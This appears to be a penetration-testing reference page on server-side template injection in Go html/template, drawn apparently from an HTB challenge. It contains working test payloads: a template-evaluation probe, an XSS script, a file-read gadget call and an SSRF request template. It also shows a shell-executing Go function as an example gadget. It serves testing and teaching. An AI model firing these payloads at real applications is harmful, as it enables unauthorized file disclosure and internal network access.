Skip to content
Go html/template

Go html/template

Go html/template SSTI method gadgets

Tests whether input is parsed as Go html/template source, then reviews the object exposed to the template for fields and callable methods that can become exploitation gadgets.

Testing

printf is a predefined template function. If the expression renders ssti, the input is being evaluated as template source rather than returned as plain text.

{{printf "%s" "ssti" }}

Expected output

ssti

Template source and HTML output

Go html/template escapes untrusted values passed to Execute() as data. A fixed template source keeps UserInput on the data side of the boundary:

type PageData struct {
	Value string
}

const templateSource = "<p>{{.Value}}</p>"
tmpl, err := template.New("page").Parse(templateSource)
data := PageData{Value: userInput}
err = tmpl.Execute(w, data)

Template syntax contained inside userInput is rendered as escaped text and is not parsed again.

SSTI appears when attacker-controlled input becomes the source passed to Parse():

templateSource := userInput
tmpl, err := template.New("page").Parse(templateSource)
data := PageData{}
err = tmpl.Execute(w, data)

Concatenating the input into otherwise fixed source before Parse() creates the same vulnerability:

templateSource := "<p>Result: " + userInput + "</p>"
tmpl, err := template.New("page").Parse(templateSource)
data := PageData{}
err = tmpl.Execute(w, data)

html/template assumes that template authors are trusted. Its contextual escaping protects data passed to Execute(); it does not make attacker-controlled source passed to Parse() safe. Literal HTML in that source becomes part of the template, giving HTML injection and normally XSS as the minimum practical impact. Browser protections such as Content Security Policy can still prevent a particular script payload from executing.

<script>alert(document.domain)</script>

Template object

Execute() receives two important arguments: an output destination and a data object. The output destination receives the rendered text. The data object contains the fields and methods available to the template.

reqData := &RequestData{}

err = tmpl.Execute(w, reqData)

w is an http.ResponseWriter, an object used by a Go HTTP handler to build the HTTP response. The rendered template is written to w and becomes the response body sent to the client.

reqData is a pointer, meaning it stores the memory address of a RequestData object rather than a separate copy of that object. Execute() makes the referenced object available inside the template under the dot name .. A template expression such as .ClientIP therefore reads reqData.ClientIP, while .OutFileContents "<ABSOLUTE_FILE_PATH>" calls reqData.OutFileContents("<ABSOLUTE_FILE_PATH>").

Object type

Use printf with %T to identify the Go type of the object represented by ..

{{printf "%T" .}}

Expected output in this case

*main.RequestData

Exposed fields

A Go struct is an object containing a fixed set of named fields. A field is exported when its name begins with an uppercase letter, which permits code outside its package and the template engine to access it. Exported fields are directly accessible through ., and nested fields can be chained with additional dot operators.

type RequestData struct {
	ClientIP     string
	ClientUA     string
	ServerInfo   MachineInfo
	ClientIpInfo LocationInfo `json:"location"`
}
{{.ClientIP}}
{{.ServerInfo.Hostname}}

Callable methods

A method is a function attached to a particular Go type. The value in parentheses before the method name is its receiver and identifies the type that owns the method. Exported methods begin with an uppercase letter and can be called from the template. Their arguments are placed after the method name.

func (p RequestData) GetLocationInfo(endpointURL string) (*LocationInfo, error)
func (p RequestData) IsSubdirectory(basePath, path string) bool
func (p RequestData) OutFileContents(filePath string) string

These methods use (p RequestData) as their receiver, so they belong to the RequestData type. They remain available when the template receives *RequestData, because Go permits a pointer to call methods defined with a value receiver.

A template can call a standalone function after the application registers it through a FuncMap, a mapping between a template-visible name and a Go function. The following operating-system command function has no RequestData receiver and no FuncMap registration. The template’s callable set therefore contains the exported RequestData methods shown above; registering GetServerInfo through a FuncMap would add that function:

func GetServerInfo(command string) string {
	out, err := exec.Command("sh", "-c", command).Output()
	if err != nil {
		return ""
	}
	output := string(out)
	return output
}

File read gadget

OutFileContents() passes its template-controlled argument directly to os.ReadFile(), making it an arbitrary file-read gadget.

func (p RequestData) OutFileContents(filePath string) string {
	data, err := os.ReadFile(filePath)
	if err != nil {
		errorMessage := err.Error()
		return errorMessage
	}
	fileContents := string(data)
	return fileContents
}
{{ .OutFileContents "<ABSOLUTE_FILE_PATH>" }}

Expected output

<FILE_CONTENTS>

The application’s earlier IsSubdirectory() check only protects the normal local-template path. Calling OutFileContents() from the injected template bypasses that path construction and supplies an absolute path directly to os.ReadFile().

SSRF gadget

GetLocationInfo() performs http.Get() with its template-controlled argument. It can therefore send a server-side request to an attacker-selected URL, provided the response has the JSON structure expected by LocationInfo.

{{printf "%+v" (.GetLocationInfo "http://127.0.0.1:<PORT>/")}}

Impact methodology

After confirming template evaluation, trace the value passed as the second argument to Execute(). Review its exported fields and exported methods, then review any functions registered through Funcs() or a FuncMap.

The maximum impact depends on what that surface exposes:

  • Exported fields can disclose application data.
  • File-reading methods can provide arbitrary file read.
  • HTTP client methods can provide SSRF.
  • Methods or registered functions that reach process execution can provide RCE.

Go html/template does not provide arbitrary file access or command execution by itself. Those impacts require an application-defined method or registered function that acts as a usable gadget.

Find by: ssti, go, golang, html template, html/template, template source, template data, parse user input, execute data, contextual escaping, xss vs ssti, template injection, printf, dot, execute, responsewriter, requestdata, exported fields, exported methods, method gadget, FuncMap, xss, file read, lfi, ssrf, rce, OutFileContents, GetLocationInfo · Source: HTB/GhostlyTemplates + Go html/template documentation + Go text/template documentation